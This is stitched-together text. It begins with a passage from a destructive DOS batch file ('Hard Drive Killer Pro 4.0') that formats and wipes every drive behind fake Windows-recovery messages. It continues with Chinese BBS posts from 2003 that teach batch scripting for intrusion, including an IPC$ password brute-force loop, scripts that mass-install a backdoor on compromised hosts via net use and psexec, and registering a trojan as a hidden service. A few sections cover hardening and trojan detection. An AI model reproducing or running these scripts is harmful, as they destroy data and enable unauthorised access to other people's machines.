echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\au
toexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.b
at
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer
version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this
program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted.
>>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I
did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad y
our HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Part
y.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in (\if not exist %%2\nul md %%2\ \if exist %%2\nul cd %%2\) do %
%%%a >>c:\temp.bat
echo for %%%%a in (\>ass_hole.txt\) do echo %%%%a Your Gone @$$hole!!!! >>c:\tem
p.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file creat
ed above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius
..
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians
(help me get out of here).
No.7
七、致謝&一些廢話
謹以此文獻給所有為實現網絡的自由與共享而努力的朋友們。感謝所有共享他們作品的朋友
們,讓我們為我們的理想一起努力!!
本人只提供此教程和有限技術支持,若因此教程而導致相關人員、團體的利益受到侵害,本
人拒絕承擔任何法律責任,一切責任由相關當事人承擔。
本教程不保留任何版權,您可以自由修改傳播,但是當您增加某些內容時,請發一份給我,讓我
也一起分享您的成果.但是未經本人同意不得將本教程用于商業活動,若您一定要,請確保所
得利益的85%用于公益事業(請聯系本人並出示相關出示憑証),否則本人保留起訴並追究
當事人相關法律責任的權利.如需轉載請保留以下信息,謝謝!
最近對于批處理技術的探討比較熱,也有不少好的批處理程序發布,但是如果沒有一定的相
關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語雲:“
授人以魚,不如授人以漁。”因為網上好像並沒有一個比較完整的教材,所以抽一點時間寫
了這片<<簡明批處理教程>>給新手朋友們.也獻給所有為實現網絡的自由與共享而努力的朋
友們.
批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cm
d。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按
照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或
腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵
中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序
等。下面就開始我們批處理學習之旅吧。
一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回
顯設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實
現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能
讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留
了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳
細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標
簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來
才會理解你的意圖啊。
4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便于
別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另
一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,然後按任意鍵繼
續處理。
6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作
調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先級類別開始應用程序
REALTIME 在 REALTIME 優先級類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。
如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數
,c:後應寫提示可輸入的字符,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判
斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為en
d的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good by
e,文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if \參數\ == \字符串\ 待執行的命令
參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號
)
如if \%1\==\a\ format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼
為0、1。
10.for 命令
for 命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
而不要用 %variable。變量名稱是區分大小寫的,所以 %i 不同于 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F [\options\] %variable IN (file-set) DO command
FOR /F [\options\] %variable IN (\string\) DO command
FOR /F [\options\] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F [\options\] %variable IN (file-set) DO command
FOR /F [\options\] %variable IN (\string\) DO command
FOR /F [\options\] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字符串變量值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 \options\
參數替代默認解析操作。這個帶引號的字符串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變量名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字符串中的最後一個字符星號,
那麼額外的變量將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字符串並且
引號字符為文字字符串命令並允許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F \eol=; tokens=2,3* delims=, \ %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩余符號。對于帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字符串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高于字母 z 或
Z 的變量。請記住,FOR 變量是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,
用單引號將括號之間的 filenameset 括起來。這樣,該字符
串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括號之間的 filenameset 變成一個反括字符串。該字符串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:
FOR /F \usebackq delims==\ %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變量名稱。
另外,FOR 變量參照的替換已被增強。您現在可以使用下列
選項語法:
~I - 刪除任何引號(\),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變量的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變量
未被定義,或者沒有找到文件,此組合鍵會擴充
空字符串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變量的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ \password\ /u:\administrator\來嘗試這和目標主機進行連接
,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ \i%\ /u:\admini
strator\
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序
運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ \i%%\ /u:\administrator\|find \:命
令成功完成\>>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心
的一件事都會變得很鬱悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任
務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable)
@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call door.bat %%i %
%j %%k
tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳遞給doo
r.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並copy木馬+後門到victim,然
後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指
定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim
..txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip passw
ord username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------
------------------
@echo off
@if \%1\==\\ goto usage
@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call IPChack.bat %%
i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------
------------------
------------------- cut here then save as a batchfile(I call it door.bat) ------
-----------------------
@net use \\%1\ipc$ %3 /u:\%2\
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2
PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.t
xt
:failed
@echo Sorry can not connected to the victim.
------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.
exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之
具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
--
___|)_________|___________
|___/___|______|____
|__/|___|-.__,-|________
|_/(|,\_|/___`-'______
|_\_|_/__________
|
(_| 讓生命隨著這火紅的音樂而舞動吧!
文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS
標 題: 簡明批處理教程-2
發信站: BBS 水木清華站 (Fri Dec 26 09:09:36 2003), 轉信
簡明批處理教程-2
No.2
二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種
情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if \%1\==\a\ format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用于連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,
好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把
一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處
理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ \2%\ /u:\3%\ 注意哦,這裡PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)
1.&
Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
..
2002-05-14 23:51
...
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一
直沒有出錯則一直執行完所有命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55
..
2002-05-14 23:55
...
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&#58//192.168.0.1/database/backup.mdb && copy file&#58//192.168.0.1/da
tabase/backup.mdb E:\backup
如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命
令。這種用法可以替換IF exist了 :)
3.||
Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒
有出現正確的命令則一直執行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2
PASS %3 >>victim.txt
--
___|)_________|___________
|__/|___|-.__,-|________
|_/(|,\_|/___`-'______
|_\_|_/__________
|
(_| 讓生命隨著這火紅的音樂而舞動吧!
文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS
標 題: 簡明批處理教程-3
發信站: BBS 水木清華站 (Fri Dec 26 09:10:21 2003), 轉信
簡明批處理教程-3
No.4
四、管道命令的使用
1.| 命令
Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。
sample:
time /t>>D:\IP.log
netstat -n -p tcp|find \:3389\>>D:\IP.log
start Explorer
看出來了麼?用于終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個
bat,以獲得登錄用戶的IP。
2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在于,>會清除調原
有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容
。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡
鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下
的EXE和DLL文件作一個記錄:
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1
..txt中,然後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt
..(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現
一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容
易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用
regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到回收站裡,若系統沒有異常反映
再將之徹底刪除或者提交給殺毒軟件公司。
3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用,也就不多做介紹。
No.5
五.如何用批處理文件來操作注冊表
在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門
、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以加載後門。當然我們也會修改
注冊表來加固系統或者改變系統的某個屬性,這些都需要我們對注冊表操作有一定的了解。
下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG
文件)
關于注冊表的操作,常見的是創建、修改、刪除。
1.創建
創建分為兩種,一種是創建子項(Subkey)
我們創建一個文件,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字
為“hacker”的子項。
另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式,和你從注冊表中導出的文件格式一致,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
\Invader\=\Ex4rch\
\Door\=C:\\WINNT\\system32\\door.exe
\Autodos\=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about這三個項目
Invader的類型是“String &#118alue”
door的類型是“REG SZ &#118alue”
Autodos的類型是“DWORD &#118alue”
2.修改
修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入
(regedit /s)即可。
3.刪除
我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
\Ex4rch\=-
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
的\Ex4rch\就被刪除了;
我們再看看刪除一個子項,我們創建一個如下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就
已經被刪除了。
相信看到這裡,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容
的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。
samlpe1:如上面的那個例子,如想生成如下注冊表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
\Invader\=\Ex4rch\
\door\=hex:255
\Autodos\=dword:000000128
只需要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.
reg
@echo \Invader\=\Ex4rch\>>Sample.reg
@echo \door\=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo \Autodos\=dword:02>>Sample.reg
samlpe2:
我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Mi
crosoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值
用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地
若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為win
drv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch
..dll
@echo \windsnx \=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver
binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬
性設為隱藏和只讀,並config為自啟動]
@REM 這樣不是更安全^_^.
--
___|)_________|___________
|___/___|______|____
|__/|___|-.__,-|________
|_/(|,\_|/___`-'______
|_\_|_/__________
|
(_| 讓生命隨著這火紅的音樂而舞動吧!
文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS
標 題: 簡明批處理教程-4
發信站: BBS 水木清華站 (Fri Dec 26 09:11:02 2003), 轉信
簡明批處理教程-4
No.6
六.精彩實例放送。
1.刪除win2k/xp系統默認共享的批處理
------------------------ cut here then save as .bat or .cmd file ---------------
------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\paramete
rs]>> c:\delshare.reg
echo \AutoShareWks\=dword:00000000>> c:\delshare.reg
echo \AutoShareServer\=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command int
o :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------
------------
2.全面加固系統(給肉雞打補丁)的批處理文件
------------------------ cut here then save as .bat or .cmd file ---------------
------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\paramet
ers] >>patch.dll
@echo \AutoShareServer\=dword:00000000 >>patch.dll
@echo \AutoShareWks\=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo \restrictanonymous\=dword:00000001 >>patch.dll
@REM [禁止匿名登錄]
